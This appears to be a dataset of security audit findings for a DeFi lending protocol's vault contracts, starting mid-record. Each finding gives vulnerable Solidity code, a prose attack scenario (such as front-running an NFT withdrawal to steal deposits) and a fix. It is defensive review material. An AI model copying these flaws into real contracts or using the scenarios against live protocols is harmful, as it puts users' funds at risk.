ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n bool isStale;\\n uint circuitBreakerExpiry;\\n //ignore first output as this is the token price and not needed yet.\\n (, isStale, circuitBreakerExpiry) = LiquidityPool.getTokenPriceWithCheck();\\n require( !(isStale), "Global Cache Stale, can't trade");\\n require(circuitBreakerExpiry < block.timestamp, "Lyra Circuit Breakers active, can't trade");\\n}\\n```\\n\\nThe above lines are run every time a user a user tries to interact with the vault. Currently this is overly restrictive and can lead to a lot of undesired situations, as explained in the summary. | The contract is frozen when price is stale or circuit breaker is tripped to prevent price manipulation. While it should restrict a majority of actions there are a two that don't need any price validation. If a user wishes to close out their entire loan then there is no need for price validation because the user has no more debt and therefore doesn't need to maintain any level of collateralization. The other situation is if a user adds collateral to their vault and doesn't take out any more loans. In this scenario, the collateralization can only increase, which means that price validation is not necessary.\\nI recommend the following changes to closeLoan:\\n```\\n- _checkIfCollateralIsActive(currencyKey);\\n uint256 isoUSDdebt = (isoUSDLoanAndInterest[_collateralAddress][msg.sender] * virtualPrice) / LOAN_SCALE;\\n require( isoUSDdebt >= _USDToVault, "Trying to return more isoUSD than borrowed!");\\n uint256 outstandingisoUSD = isoUSDdebt - _USDToVault;\\n if(outstandingisoUSD >= TENTH_OF_CENT){ //ignore leftover debts less than $0.001\\n+ //only need to check collateral value if user has remaining debt\\n+ _checkIfCollateralIsActive(currencyKey);\\n uint256 collateralLeft = collateralPosted[_collateralAddress][msg.sender] - _collateralToUser;\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, collateralLeft); \\n uint256 borrowMargin = (outstandingisoUSD * minOpeningMargin) / LOAN_SCALE;\\n require(colInUSD > borrowMargin , "Remaining debt fails to meet minimum margin!");\\n }\\n```\\n\\nI recommend removing liquidation threshold check from increaseCollateralAmount:\\n```\\n //debatable check begins here \\n- uint256 totalCollat = collateralPosted[_collateralAddress][msg.sender] + _colAmount;\\n- uint256 colInUSD = priceCollateralToUSD(currencyKey, totalCollat);\\n- uint256 USDborrowed = (isoUSDLoanAndInterest[_collateralAddress][msg.sender] * virtualPrice) / LOAN_SCALE;\\n- uint256 borrowMargin = (USDborrowed * liquidatableMargin) / LOAN_SCALE;\\n- require(colInUSD >= borrowMargin, "Liquidation margin not met!");\\n //debatable check ends here\\n```\\n | Frozen assets, unfair interest accumulation and unfair liquidations | ```\\nfunction _checkIfCollateralIsActive(bytes32 _currencyKey) internal view override {\\n \\n //Lyra LP tokens use their associated LiquidityPool to check if they're active\\n ILiquidityPoolAvalon LiquidityPool = ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n bool isStale;\\n uint circuitBreakerExpiry;\\n //ignore first output as this is the token price and not needed yet.\\n (, isStale, circuitBreakerExpiry) = LiquidityPool.getTokenPriceWithCheck();\\n require( !(isStale), "Global Cache Stale, can't trade");\\n require(circuitBreakerExpiry < block.timestamp, "Lyra Circuit Breakers active, can't trade");\\n}\\n```\\n |
Anyone can withdraw user's Velo Deposit NFT after approval is given to depositor | high | `Depositor#withdrawFromGauge` is a public function that can be called by anyone which transfers token to `msg.sender`. `withdrawFromGauge` burns the NFT to be withdrawn, which means that `Depositor` must either be approved or be in possession of the NFT. Since it doesn't transfer the NFT to the contract before burning the user must either send the NFT to the `Depositor` or `approve` the `Depositor` in a separate transaction. After the NFT is either transferred or approved, a malicious user could withdraw the NFT for themselves.\\n```\\nfunction withdrawFromGauge(uint256 _NFTId, address[] memory _tokens) public {\\n uint256 amount = depositReceipt.pooledTokens(_NFTId);\\n depositReceipt.burn(_NFTId);\\n gauge.getReward(address(this), _tokens);\\n gauge.withdraw(amount);\\n //AMMToken adheres to ERC20 spec meaning it reverts on failure, no need to check return\\n //slither-disable-next-line unchecked-transfer\\n AMMToken.transfer(msg.sender, amount);\\n}\\n```\\n\\n`Depositor#withdrawFromGauge` allows anyone to call it, burning the NFT and sending `msg.sender` the withdrawn tokens.\\n```\\nfunction burn(uint256 _NFTId) external onlyMinter{\\n require(_isApprovedOrOwner(msg.sender, _NFTId), "ERC721: caller is not token owner or approved");\\n delete pooledTokens[_NFTId];\\n delete relatedDepositor[_NFTId];\\n _burn(_NFTId);\\n}\\n```\\n\\n`Depositor` calls `DepositReceipt_Base#burn`, which means that it must be either the owner or approved for the NFT. Since `Depositor#withdrawFromGauge` doesn't transfer the NFT from the user, this must happen in a separate transaction. Between the user approval/transfer and them calling `Depositor#withdrawFromGauge` a malicious user could call `Depositor#withdrawFromGauge` first to withdraw the NFT and steal the users funds. This would be very easy to automate with a bot.\\nExample: `User A` deposits 100 underlying into their `Depositor` and is given `Token A` which represents their deposit. After some time they want to redeem `Token A` so they `Approve` their `Depositor` for `Token A`. `User B` sees the approval and quickly calls `Depositor#withdrawFromGauge` to withdraw `Token A`. `User B` is sent the 100 tokens and `Token A` is burned from `User A`. | Only allow owner of NFT to withdraw it:\\n```\\n function withdrawFromGauge(uint256 _NFTId, address[] memory _tokens) public {\\n+ require(depositReceipt.ownerOf(_NFTId) == msg.sender);\\n uint256 amount = depositReceipt.pooledTokens(_NFTId);\\n depositReceipt.burn(_NFTId);\\n gauge.getReward(address(this), _tokens);\\n gauge.withdraw(amount);\\n //AMMToken adheres to ERC20 spec meaning it reverts on failure, no need to check return\\n //slither-disable-next-line unchecked-transfer\\n AMMToken.transfer(msg.sender, amount);\\n }\\n```\\n | Users attempting to withdraw can have their funds stolen | ```\\nfunction withdrawFromGauge(uint256 _NFTId, address[] memory _tokens) public {\\n uint256 amount = depositReceipt.pooledTokens(_NFTId);\\n depositReceipt.burn(_NFTId);\\n gauge.getReward(address(this), _tokens);\\n gauge.withdraw(amount);\\n //AMMToken adheres to ERC20 spec meaning it reverts on failure, no need to check return\\n //slither-disable-next-line unchecked-transfer\\n AMMToken.transfer(msg.sender, amount);\\n}\\n```\\n |
Swapping 100 tokens in DepositReceipt_ETH and DepositReciept_USDC breaks usage of WBTC LP and other high value tokens | high | DepositReceipt_ETH and DepositReciept_USDC checks the value of liquidity by swapping 100 tokens through the swap router. WBTC is a good example of a token that will likely never work as LP due to the massive value of swapping 100 WBTC. This makes DepositReceipt_ETH and DepositReciept_USDC revert during slippage checks after calculating amount out. As of the time of writing this, WETH also experiences a 11% slippage when trading 100 tokens. Since DepositReceipt_ETH only supports 18 decimal tokens, WETH/USDC would have to use DepositReciept_USDC, resulting in WETH/USDC being incompatible. The fluctuating liquidity could also make this a big issue as well. If liquidity reduces after deposits are made, user deposits could be permanently trapped.\\n```\\n //check swap value of 100tokens to USDC to protect against flash loan attacks\\n uint256 amountOut; //amount received by trade\\n bool stablePool; //if the traded pool is stable or volatile.\\n (amountOut, stablePool) = router.getAmountOut(HUNDRED_TOKENS, token1, USDC);\\n```\\n\\nThe above lines try to swap 100 tokens from token1 to USDC. In the case of WBTC 100 tokens is a monstrous amount to swap. Given the low liquidity on the network, it simply won't function due to slippage requirements.\\n```\\nfunction _priceCollateral(IDepositReceipt depositReceipt, uint256 _NFTId) internal view returns(uint256){ \\n uint256 pooledTokens = depositReceipt.pooledTokens(_NFTId); \\n return( depositReceipt.priceLiquidity(pooledTokens));\\n}\\n\\nfunction totalCollateralValue(address _collateralAddress, address _owner) public view returns(uint256){\\n NFTids memory userNFTs = loanNFTids[_collateralAddress][_owner];\\n IDepositReceipt depositReceipt = IDepositReceipt(_collateralAddress);\\n //slither-disable-next-line uninitialized-local-variables\\n uint256 totalPooledTokens;\\n for(uint256 i =0; i < NFT_LIMIT; i++){\\n //check if each slot contains an NFT\\n if (userNFTs.ids[i] != 0){\\n totalPooledTokens += depositReceipt.pooledTokens(userNFTs.ids[i]);\\n }\\n }\\n return(depositReceipt.priceLiquidity(totalPooledTokens));\\n}\\n```\\n\\nOne of the two functions above are used to price LP for every vault action on Vault_Velo. If liquidity is sufficient when user deposits but then drys up after, the users deposit would be permanently trapped in the in the vault. In addition to this liquidation would also become impossible causing the protocol to assume bad debt.\\nThis could also be exploited by a malicious user. First they deposit a large amount of collateral into the Velodrome WBTC/USDC pair. They take a portion of their LP and take a loan against it. Now they withdraw the rest of their LP. Since there is no longer enough liquidity to swap 100 tokens with 5% slippage, they are now safe from liquidation, allowing a risk free loan. | Change the number of tokens to an immutable, so that it can be set individually for each token. Optionally you can add checks (shown below) to make sure that the number of tokens being swapped will result in at least some minimum value of USDC is received. Similar changes should be made for DepositReceipt_ETH:\\n```\\nconstructor(string memory _name, \\n string memory _symbol, \\n address _router, \\n address _token0,\\n address _token1,\\n uint256 _tokensToSwap,\\n bool _stable,\\n address _priceFeed) \\n ERC721(_name, _symbol){\\n\\n // rest of code\\n\\n if (keccak256(token0Symbol) == keccak256(USDCSymbol)){\\n require( IERC20Metadata(_token1).decimals() == 18, "Token does not have 18dp");\\n\\n+ (amountOut,) = _router.getAmountOut(_tokensToSwap, token1, USDC);\\n\\n+ //swapping tokens must yield at least 100 USDC\\n+ require( amountOut >= 1e8);\\n+ tokensToSwap = _tokensToSwap;\\n }\\n else\\n { \\n bytes memory token1Symbol = abi.encodePacked(IERC20Metadata(_token1).symbol());\\n require( keccak256(token1Symbol) == keccak256(USDCSymbol), "One token must be USDC");\\n require( IERC20Metadata(_token0).decimals() == 18, "Token does not have 18dp");\\n \\n+ (amountOut, ) = _router.getAmountOut(_tokensToSwap, token0, USDC);\\n\\n+ //swapping tokens must yield at least 100 USDC\\n+ require( amountOut >= 1e8);\\n+ tokensToSwap = _tokensToSwap;\\n }\\n```\\n | LPs that contain high value tokens will be unusable at best and freeze user funds or be abused at the worst case | ```\\n //check swap value of 100tokens to USDC to protect against flash loan attacks\\n uint256 amountOut; //amount received by trade\\n bool stablePool; //if the traded pool is stable or volatile.\\n (amountOut, stablePool) = router.getAmountOut(HUNDRED_TOKENS, token1, USDC);\\n```\\n |
Lyra vault underestimates the collateral value | medium | Lyra vault subtracts the withdrawal fee while calculating the collateral value in USD, and it does not match the actual Lyra Pool implementation.\\nThe user's collateral value is estimated using the function `priceCollateralToUSD()` at `Vault_Lyra.sol#L77` as follows.\\n```\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //The LiquidityPool associated with the LP Token is used for pricing\\n ILiquidityPoolAvalon LiquidityPool = ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n //we have already checked for stale greeks so here we call the basic price function.\\n uint256 tokenPrice = LiquidityPool.getTokenPrice();\\n uint256 withdrawalFee = _getWithdrawalFee(LiquidityPool);\\n uint256 USDValue = (_amount * tokenPrice) / LOAN_SCALE;\\n //we remove the Liquidity Pool withdrawalFee\\n //as there's no way to remove the LP position without paying this.\\n uint256 USDValueAfterFee = USDValue * (LOAN_SCALE- withdrawalFee)/LOAN_SCALE;\\n return(USDValueAfterFee);\\n}\\n```\\n\\nSo it is understood that the withdrawal fee is removed to get the reasonable value of the collateral. But according to the Lyra Pool implementation, the token price used for withdrawal is calculated using the function `_getTotalBurnableTokens`. And the function `_getTotalBurnableTokens` is as belows.\\n```\\nfunction _getTotalBurnableTokens()\\n internal\\n returns (\\n uint tokensBurnable,\\n uint tokenPriceWithFee,\\n bool stale\\n )\\n {\\n uint burnableLiquidity;\\n uint tokenPrice;\\n (tokenPrice, stale, burnableLiquidity) = _getTokenPriceAndStale();\\n\\n if (optionMarket.getNumLiveBoards() != 0) {\\n tokenPriceWithFee = tokenPrice.multiplyDecimal(DecimalMath.UNIT - lpParams.withdrawalFee);\\n } else {\\n tokenPriceWithFee = tokenPrice;//@audit withdrawalFee is not applied if there are no live borads\\n }\\n\\n return (burnableLiquidity.divideDecimal(tokenPriceWithFee), tokenPriceWithFee, stale);\\n }\\n```\\n\\nFrom the code, it is clear that the withdrawal fee is subtracted only when the related option market has live boards. Because `Vault_Lyra.sol` applies a withdrawal fee all the time to price the collateral, it means the user's collateral is under-valued. | Make sure to apply withdrawal fee consistent to how Lyra pool does. | User's collaterals are under-valued than reasonable and might get to a liquidatable status sooner than expected. A liquidator can abuse this to get an unfair profit by liquidating the user's collateral with the under-estimated value and withdrawing it from the Lyra pool without paying a withdrawal fee. | ```\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //The LiquidityPool associated with the LP Token is used for pricing\\n ILiquidityPoolAvalon LiquidityPool = ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n //we have already checked for stale greeks so here we call the basic price function.\\n uint256 tokenPrice = LiquidityPool.getTokenPrice();\\n uint256 withdrawalFee = _getWithdrawalFee(LiquidityPool);\\n uint256 USDValue = (_amount * tokenPrice) / LOAN_SCALE;\\n //we remove the Liquidity Pool withdrawalFee\\n //as there's no way to remove the LP position without paying this.\\n uint256 USDValueAfterFee = USDValue * (LOAN_SCALE- withdrawalFee)/LOAN_SCALE;\\n return(USDValueAfterFee);\\n}\\n```\\n |
Bad debt may persist even after complete liquidation in Velo Vault due to truncation | medium | When liquidating a user, if all their collateral is taken but it is not valuable enough to repay the entire loan they would be left with remaining debt. This is what is known as bad debt because there is no collateral left to take and the user has no obligation to pay it back. When this occurs, the vault will forgive the user's debts, clearing the bad debt. The problem is that the valuations are calculated in two different ways which can lead to truncation issue that completely liquidates a user but doesn't clear their bad debt.\\n```\\n uint256 totalUserCollateral = totalCollateralValue(_collateralAddress, _loanHolder);\\n uint256 proposedLiquidationAmount;\\n { //scope block for liquidationAmount due to stack too deep\\n uint256 liquidationAmount = viewLiquidatableAmount(totalUserCollateral, 1 ether, isoUSDBorrowed, liquidatableMargin);\\n require(liquidationAmount > 0 , "Loan not liquidatable");\\n proposedLiquidationAmount = _calculateProposedReturnedCapital(_collateralAddress, _loanNFTs, _partialPercentage);\\n require(proposedLiquidationAmount <= liquidationAmount, "excessive liquidation suggested");\\n }\\n uint256 isoUSDreturning = proposedLiquidationAmount*LIQUIDATION_RETURN/LOAN_SCALE;\\n if(proposedLiquidationAmount >= totalUserCollateral){\\n //@audit bad debt cleared here\\n }\\n```\\n\\nThe primary check before clearing bad debt is to check if `proposedLiquidationAmount >= totalUserCollateral`. The purpose of this check is to confirm that all of the user's collateral is being liquidated. The issue is that each value is calculated differently.\\n```\\nfunction totalCollateralValue(address _collateralAddress, address _owner) public view returns(uint256){\\n NFTids memory userNFTs = loanNFTids[_collateralAddress][_owner];\\n IDepositReceipt depositReceipt = IDepositReceipt(_collateralAddress);\\n //slither-disable-next-line uninitialized-local-variables\\n uint256 totalPooledTokens;\\n for(uint256 i =0; i < NFT_LIMIT; i++){\\n //check if each slot contains an NFT\\n if (userNFTs.ids[i] != 0){\\n totalPooledTokens += depositReceipt.pooledTokens(userNFTs.ids[i]);\\n }\\n }\\n return(depositReceipt.priceLiquidity(totalPooledTokens));\\n}\\n```\\n\\n`totalCollateralValue` it used to calculate `totalUserCollateral`. In this method the pooled tokens are summed across all NFT's then they are priced. This means that the value of the liquidity is truncated exactly once.\\n```\\nfunction _calculateProposedReturnedCapital(\\n address _collateralAddress, \\n CollateralNFTs calldata _loanNFTs, \\n uint256 _partialPercentage\\n ) internal view returns(uint256){\\n //slither-disable-next-line uninitialized-local-variables\\n uint256 proposedLiquidationAmount;\\n require(_partialPercentage <= LOAN_SCALE, "partialPercentage greater than 100%");\\n for(uint256 i = 0; i < NFT_LIMIT; i++){\\n if(_loanNFTs.slots[i] < NFT_LIMIT){\\n if((i == NFT_LIMIT -1) && (_partialPercentage > 0) && (_partialPercentage < LOAN_SCALE) ){\\n //final slot is NFT that will be split if necessary\\n proposedLiquidationAmount += \\n (( _priceCollateral(IDepositReceipt(_collateralAddress), _loanNFTs.ids[i]) \\n *_partialPercentage)/ LOAN_SCALE);\\n } \\n else {\\n proposedLiquidationAmount += _priceCollateral(IDepositReceipt(_collateralAddress), _loanNFTs.ids[i]);\\n }\\n }\\n }\\n return proposedLiquidationAmount;\\n}\\n```\\n\\n`_calculateProposedReturnedCapital` is used to calculate `proposedLiquidationAmount`. The key difference is that each NFT is priced individually. The result is that the value is truncated up to NFT_LIMIT times. This can lead to `proposedLiquidationAmount` being less than totalUserCollateral even if all user collateral is being liquidated.\\nExample: User A has 2 NFTs. They are valued as follows assuming no truncation: 10.6 and 10.7. When calculating via `totalCollateralValue` they will be summed before they are truncated while in `_calculateProposedReturnedCapital` they will be truncated before they are summed.\\ntotalCollateralValue: 10.6 + 10.7 = 21.3 => 21 (truncated)\\n_calculateProposedReturnedCapital: 10.6 => 10 (truncated) 10.7 => 10 (truncated)\\n10 + 10 = 20\\nAs shown above when using the exact same inputs into our two different functions the final answer is different. In a scenario like this, even though all collateral is taken from the user, their bad debt won't be cleared. | `_calculateProposedReturnedCapital` should be changed to be similar to `totalCollateralValue`, summing all pooled tokens before pricing:\\n```\\n function _calculateProposedReturnedCapital(\\n address _collateralAddress, \\n CollateralNFTs calldata _loanNFTs, \\n uint256 _partialPercentage\\n ) internal view returns(uint256) {\\n+ IDepositReceipt depositReceipt = IDepositReceipt(_collateralAddress);\\n //slither-disable-next-line uninitialized-local-variables\\n+ uint256 totalPooledTokens\\n- uint256 proposedLiquidationAmount;\\n require(_partialPercentage <= LOAN_SCALE, "partialPercentage greater than 100%");\\n for(uint256 i = 0; i < NFT_LIMIT; i++){\\n if(_loanNFTs.slots[i] < NFT_LIMIT){\\n if((i == NFT_LIMIT -1) && (_partialPercentage > 0) && (_partialPercentage < LOAN_SCALE) ){\\n //final slot is NFT that will be split if necessary\\n+ totalPooledTokens += ((depositReceipt.pooledTokens(userNFTs.ids[i]) * _partialPercentage) / LOAN_SCALE);\\n- proposedLiquidationAmount += \\n- (( _priceCollateral(IDepositReceipt(_collateralAddress), _loanNFTs.ids[i]) \\n- *_partialPercentage)/ LOAN_SCALE);\\n } \\n else{\\n+ totalPooledTokens += depositReceipt.pooledTokens(userNFTs.ids[i]);\\n- proposedLiquidationAmount += _priceCollateral(IDepositReceipt(_collateralAddress), _loanNFTs.ids[i]);\\n }\\n }\\n }\\n+ return(depositReceipt.priceLiquidity(totalPooledTokens));\\n- return proposedLiquidationAmount;\\n }\\n```\\n | Bad debt will not be cleared in some liquidation scenarios | ```\\n uint256 totalUserCollateral = totalCollateralValue(_collateralAddress, _loanHolder);\\n uint256 proposedLiquidationAmount;\\n { //scope block for liquidationAmount due to stack too deep\\n uint256 liquidationAmount = viewLiquidatableAmount(totalUserCollateral, 1 ether, isoUSDBorrowed, liquidatableMargin);\\n require(liquidationAmount > 0 , "Loan not liquidatable");\\n proposedLiquidationAmount = _calculateProposedReturnedCapital(_collateralAddress, _loanNFTs, _partialPercentage);\\n require(proposedLiquidationAmount <= liquidationAmount, "excessive liquidation suggested");\\n }\\n uint256 isoUSDreturning = proposedLiquidationAmount*LIQUIDATION_RETURN/LOAN_SCALE;\\n if(proposedLiquidationAmount >= totalUserCollateral){\\n //@audit bad debt cleared here\\n }\\n```\\n |
priceLiquidity() may not work if PriceFeed.aggregator() is updated | medium | priceLiquidity() may not work if PriceFeed.aggregator() is updated\\nIn the constructor of the DepositReceipt_* contract, the value of minAnswer/maxAnswer in priceFeed.aggregator() is obtained and assigned to *MinPrice/*MaxPrice as the maximum/minimum price limit when calling the getOraclePrice function in priceLiquidity, and *MinPrice/*MaxPrice can not change.\\n```\\n IAccessControlledOffchainAggregator aggregator = IAccessControlledOffchainAggregator(priceFeed.aggregator());\\n //fetch the pricefeeds hard limits so we can be aware if these have been reached.\\n tokenMinPrice = aggregator.minAnswer();\\n tokenMaxPrice = aggregator.maxAnswer();\\n// rest of code\\n uint256 oraclePrice = getOraclePrice(priceFeed, tokenMaxPrice, tokenMinPrice);\\n// rest of code\\n function getOraclePrice(IAggregatorV3 _priceFeed, int192 _maxPrice, int192 _minPrice) public view returns (uint256 ) {\\n (\\n /*uint80 roundID*/,\\n int signedPrice,\\n /*uint startedAt*/,\\n uint timeStamp,\\n /*uint80 answeredInRound*/\\n ) = _priceFeed.latestRoundData();\\n //check for Chainlink oracle deviancies, force a revert if any are present. Helps prevent a LUNA like issue\\n require(signedPrice > 0, "Negative Oracle Price");\\n require(timeStamp >= block.timestamp - HEARTBEAT_TIME , "Stale pricefeed");\\n require(signedPrice < _maxPrice, "Upper price bound breached");\\n require(signedPrice > _minPrice, "Lower price bound breached");\\n```\\n\\nBut in the priceFeed contract, the address of the aggregator can be changed by the owner, which may cause the value of minAnswer/maxAnswer to change, and the price limit in the DepositReceipt_* contract to be invalid, and priceLiquidity() can not work.\\n```\\n function confirmAggregator(address _aggregator)\\n external\\n onlyOwner()\\n {\\n require(_aggregator == address(proposedAggregator), "Invalid proposed aggregator");\\n delete proposedAggregator;\\n setAggregator(_aggregator);\\n }\\n\\n\\n /*\\n * Internal\\n */\\n\\n function setAggregator(address _aggregator)\\n internal\\n {\\n uint16 id = currentPhase.id + 1;\\n currentPhase = Phase(id, AggregatorV2V3Interface(_aggregator));\\n phaseAggregators[id] = AggregatorV2V3Interface(_aggregator);\\n }\\n // rest of code\\n function aggregator()\\n external\\n view\\n returns (address)\\n {\\n return address(currentPhase.aggregator);\\n }\\n```\\n | Consider getting latest priceFeed.aggregator().minAnswer()/maxAnswer() in priceLiquidity() | null | ```\\n IAccessControlledOffchainAggregator aggregator = IAccessControlledOffchainAggregator(priceFeed.aggregator());\\n //fetch the pricefeeds hard limits so we can be aware if these have been reached.\\n tokenMinPrice = aggregator.minAnswer();\\n tokenMaxPrice = aggregator.maxAnswer();\\n// rest of code\\n uint256 oraclePrice = getOraclePrice(priceFeed, tokenMaxPrice, tokenMinPrice);\\n// rest of code\\n function getOraclePrice(IAggregatorV3 _priceFeed, int192 _maxPrice, int192 _minPrice) public view returns (uint256 ) {\\n (\\n /*uint80 roundID*/,\\n int signedPrice,\\n /*uint startedAt*/,\\n uint timeStamp,\\n /*uint80 answeredInRound*/\\n ) = _priceFeed.latestRoundData();\\n //check for Chainlink oracle deviancies, force a revert if any are present. Helps prevent a LUNA like issue\\n require(signedPrice > 0, "Negative Oracle Price");\\n require(timeStamp >= block.timestamp - HEARTBEAT_TIME , "Stale pricefeed");\\n require(signedPrice < _maxPrice, "Upper price bound breached");\\n require(signedPrice > _minPrice, "Lower price bound breached");\\n```\\n |
Vault_Synths.sol code does not consider protocol exchange fee when evaluating the Collateral worth | medium | Vault_Synths.sol code does not consider protocol fee.\\nIf we look into the good-written documentation:\\nI want to quote:\\nBecause the withdrawalFee of a lyra LP pool can vary we must fetch it each time it is needed to ensure we use an accurate value. LP tokens are devalued by this as a safety measure as any liquidation would include selling the collateral and so should factor in that cost to ensure it is profitable.\\nIn Vault_Lyra.sol, when calculating the collateral of the LP token, the fee is taken into consideration.\\n```\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //The LiquidityPool associated with the LP Token is used for pricing\\n ILiquidityPoolAvalon LiquidityPool = ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n //we have already checked for stale greeks so here we call the basic price function.\\n uint256 tokenPrice = LiquidityPool.getTokenPrice(); \\n uint256 withdrawalFee = _getWithdrawalFee(LiquidityPool);\\n uint256 USDValue = (_amount * tokenPrice) / LOAN_SCALE;\\n //we remove the Liquidity Pool withdrawalFee \\n //as there's no way to remove the LP position without paying this.\\n uint256 USDValueAfterFee = USDValue * (LOAN_SCALE- withdrawalFee)/LOAN_SCALE;\\n return(USDValueAfterFee);\\n}\\n```\\n\\nThis is not the case for Vault_Synths.sol, the underlying token also charge exchange fee, but this fee is not reflected when evaluating the Collateral worth.\\nExchange fees are generated whenever a user exchanges one synthetic asset (Synth) for another through Synthetix.Exchange. Fees are typically between 10-100 bps (0.1%-1%), though usually 30 bps, and when generated are sent to the fee pool, where it is available to be claimed proportionally by SNX stakers each week.\\nwe can see that the sETH token charges 0.25%, the sBTC token charges 0.25%, the sUSD charges 0% fee, but this does not ensure this fee rate will not change in the future. | We recommend the project consider protocol exchange fee when evaluating the Collateral worth in Vault_Synths.sol\\nPrecisely when the exchange fee is updated, the fee is reflected in the collateral worth.\\n```\\n function setExchangeFeeRateForSynths(bytes32[] calldata synthKeys, uint256[] calldata exchangeFeeRates)\\n external\\n onlyOwner\\n {\\n flexibleStorage().setExchangeFeeRateForSynths(SETTING_EXCHANGE_FEE_RATE, synthKeys, exchangeFeeRates);\\n for (uint i = 0; i < synthKeys.length; i++) {\\n emit ExchangeFeeUpdated(synthKeys[i], exchangeFeeRates[i]);\\n }\\n }\\n\\n /// @notice Set exchange dynamic fee threshold constant in decimal ratio\\n /// @param threshold The exchange dynamic fee threshold\\n /// @return uint threshold constant\\n function setExchangeDynamicFeeThreshold(uint threshold) external onlyOwner {\\n require(threshold != 0, "Threshold cannot be 0");\\n\\n flexibleStorage().setUIntValue(SETTING_CONTRACT_NAME, SETTING_EXCHANGE_DYNAMIC_FEE_THRESHOLD, threshold);\\n\\n emit ExchangeDynamicFeeThresholdUpdated(threshold);\\n }\\n```\\n | The collateral may be overvalued because the exchange does not count when evaluating the Collateral worth and result in bad debt which makes the project insolvent. | ```\\nfunction priceCollateralToUSD(bytes32 _currencyKey, uint256 _amount) public view override returns(uint256){\\n //The LiquidityPool associated with the LP Token is used for pricing\\n ILiquidityPoolAvalon LiquidityPool = ILiquidityPoolAvalon(collateralBook.liquidityPoolOf(_currencyKey));\\n //we have already checked for stale greeks so here we call the basic price function.\\n uint256 tokenPrice = LiquidityPool.getTokenPrice(); \\n uint256 withdrawalFee = _getWithdrawalFee(LiquidityPool);\\n uint256 USDValue = (_amount * tokenPrice) / LOAN_SCALE;\\n //we remove the Liquidity Pool withdrawalFee \\n //as there's no way to remove the LP position without paying this.\\n uint256 USDValueAfterFee = USDValue * (LOAN_SCALE- withdrawalFee)/LOAN_SCALE;\\n return(USDValueAfterFee);\\n}\\n```\\n |
User is unable to partially payback loan if they aren't able to post enough isoUSD to bring them back to minOpeningMargin | high | The only way for a user to reduce their debt is to call closeLoan. If the amount repaid does not bring the user back above minOpeningMargin then the transaction will revert. This is problematic for users that wish to repay their debt but don't have enough to get back to minOpeningMargin as it could lead to unfair liquidations.\\n```\\n if(outstandingisoUSD >= TENTH_OF_CENT){ //ignore leftover debts less than $0.001\\n uint256 collateralLeft = collateralPosted[_collateralAddress][msg.sender] - _collateralToUser;\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, collateralLeft); \\n uint256 borrowMargin = (outstandingisoUSD * minOpeningMargin) / LOAN_SCALE;\\n require(colInUSD > borrowMargin , "Remaining debt fails to meet minimum margin!");\\n }\\n```\\n\\nThe checks above are done when a user calls closeLoan. This ensures that the user's margin is back above minOpeningMargin before allowing them to remove any collateral. This is done as a safeguard to block loans users from effectively opening loans at lower than desired margin. This has the unintended consequence that as user cannot pay off any of their loan if they do not increase their loan back above minOpeningMargin. This could prevent users from being able to save a loan that is close to liquidation causing them to get liquidated when they otherwise would have paid off their loan. | I recommend adding a separate function that allows users to pay off their loan without removing any collateral:\\n```\\nfunction paybackLoan(\\n address _collateralAddress,\\n uint256 _USDToVault\\n ) external override whenNotPaused \\n {\\n _collateralExists(_collateralAddress);\\n _closeLoanChecks(_collateralAddress, 0, _USDToVault);\\n //make sure virtual price is related to current time before fetching collateral details\\n //slither-disable-next-line reentrancy-vulnerabilities-1\\n _updateVirtualPrice(block.timestamp, _collateralAddress);\\n ( \\n bytes32 currencyKey,\\n uint256 minOpeningMargin,\\n ,\\n ,\\n ,\\n uint256 virtualPrice,\\n \\n ) = _getCollateral(_collateralAddress);\\n //check for frozen or paused collateral\\n _checkIfCollateralIsActive(currencyKey);\\n\\n uint256 isoUSDdebt = (isoUSDLoanAndInterest[_collateralAddress][msg.sender] * virtualPrice) / LOAN_SCALE;\\n require( isoUSDdebt >= _USDToVault, "Trying to return more isoUSD than borrowed!");\\n uint256 outstandingisoUSD = isoUSDdebt - _USDToVault;\\n\\n uint256 collateral = collateralPosted[_collateralAddress][msg.sender];\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, collateral); \\n uint256 borrowMargin = (outstandingisoUSD * liquidatableMargin) / LOAN_SCALE;\\n require(colInUSD > borrowMargin , "Liquidation margin not met!");\\n \\n //record paying off loan principle before interest\\n //slither-disable-next-line uninitialized-local-variables\\n uint256 interestPaid;\\n uint256 loanPrinciple = isoUSDLoaned[_collateralAddress][msg.sender];\\n if( loanPrinciple >= _USDToVault){\\n //pay off loan principle first\\n isoUSDLoaned[_collateralAddress][msg.sender] = loanPrinciple - _USDToVault;\\n }\\n else{\\n interestPaid = _USDToVault - loanPrinciple;\\n //loan principle is fully repaid so record this.\\n isoUSDLoaned[_collateralAddress][msg.sender] = 0;\\n }\\n //update mappings with reduced amounts\\n isoUSDLoanAndInterest[_collateralAddress][msg.sender] = isoUSDLoanAndInterest[_collateralAddress][msg.sender] - ((_USDToVault * LOAN_SCALE) / virtualPrice);\\n emit ClosedLoan(msg.sender, _USDToVault, currencyKey, 0);\\n //Now all effects are handled, transfer the assets so we follow CEI pattern\\n _decreaseLoan(_collateralAddress, 0, _USDToVault, interestPaid);\\n}\\n```\\n | User is unable to make partial repayments if their payment does not increase margin enough | ```\\n if(outstandingisoUSD >= TENTH_OF_CENT){ //ignore leftover debts less than $0.001\\n uint256 collateralLeft = collateralPosted[_collateralAddress][msg.sender] - _collateralToUser;\\n uint256 colInUSD = priceCollateralToUSD(currencyKey, collateralLeft); \\n uint256 borrowMargin = (outstandingisoUSD * minOpeningMargin) / LOAN_SCALE;\\n require(colInUSD > borrowMargin , "Remaining debt fails to meet minimum margin!");\\n }\\n```\\n |
